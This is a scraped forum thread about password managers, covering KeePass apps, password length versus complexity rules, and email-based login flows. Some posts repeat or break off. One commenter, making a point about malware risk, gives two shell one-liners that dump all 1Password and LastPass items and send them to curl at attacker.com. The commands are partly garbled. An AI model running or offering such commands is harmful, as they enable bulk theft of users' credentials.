11–20 of 41 posts
I personally use the Keepass "suite" as follows: * KeepassXC on desktop (linux) * KeepassDX on mobile (Android) It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
+1 for KeypassXC. For those looking for an iOS app, I recommend Strongbox[1]. It’s open-source and it’s the most feature complete solution I’ve found. (Not affiliated, just a happy user) https://strongboxsafe.com/
In case anyone gets confused, this is not true.
> Password managers rely on a cool technique called “Zero-Knowledge Proof" In case anyone gets confused, this is not true.
I personally use the Keepass "suite" as follows: * KeepassXC on desktop (linux) * KeepassDX on mobile (Android) It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
+1 for KeypassXC. For those looking for an iOS app, I recommend Strongbox[1]. It’s open-source and it’s the most feature complete solution I’ve found. (Not affiliated, just a happy user) https://strongboxsafe.com/
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
"at least 8 characters, uppercase/lowercase, numbers, special characters" - I thought the more current recommendation was to use a longer passphrase rather than an overcomplicated and hard to remember password? Of course this hasn't yet got through to many sites, and apparently also not to all security experts... As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when…
A passphrase isn't stronger than a password created using those rules - it's preferable if your strategy is to remember your passwords. The problem is that there are so many logins it's hard to keep track. So the temptation is to start reusing passphrases across sites which is the big no no because every site will be breached eventually, it's just a matter of time. And once your passphrase is compromised attackers wi…
Given today's cloud hardware availability the leaking of the hash of an 8 character password is only good for a few days. The current reasonable minimum is 12 characters.
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked. Here are some trivial examples of how malware can steal credentials in bulk. Example: Exfiltrate all plaintext credentials from 1password ``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op g…
Earlier quoted context omitted.
A passphrase isn't stronger than a password created using those rules - it's preferable if your strategy is to remember your passwords. The problem is that there are so many logins it's hard to keep track. So the temptation is to start reusing passphrases across sites which is the big no no because every site will be breached eventually, it's just a matter of time. And once your passphrase is compromised attackers wi…
I’m not a security expert, but I have to agree with rob74. I was taught by a mentor that from a computational standpoint, all those typical ‘uppercase/ lowercase/ special character’ rules are worthless. The only thing that makes a password stronger is the length. Now from a human or social engineering standpoint they might make sense. It might make it less likely someone chooses something that could be found using a…
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
What am I missing here?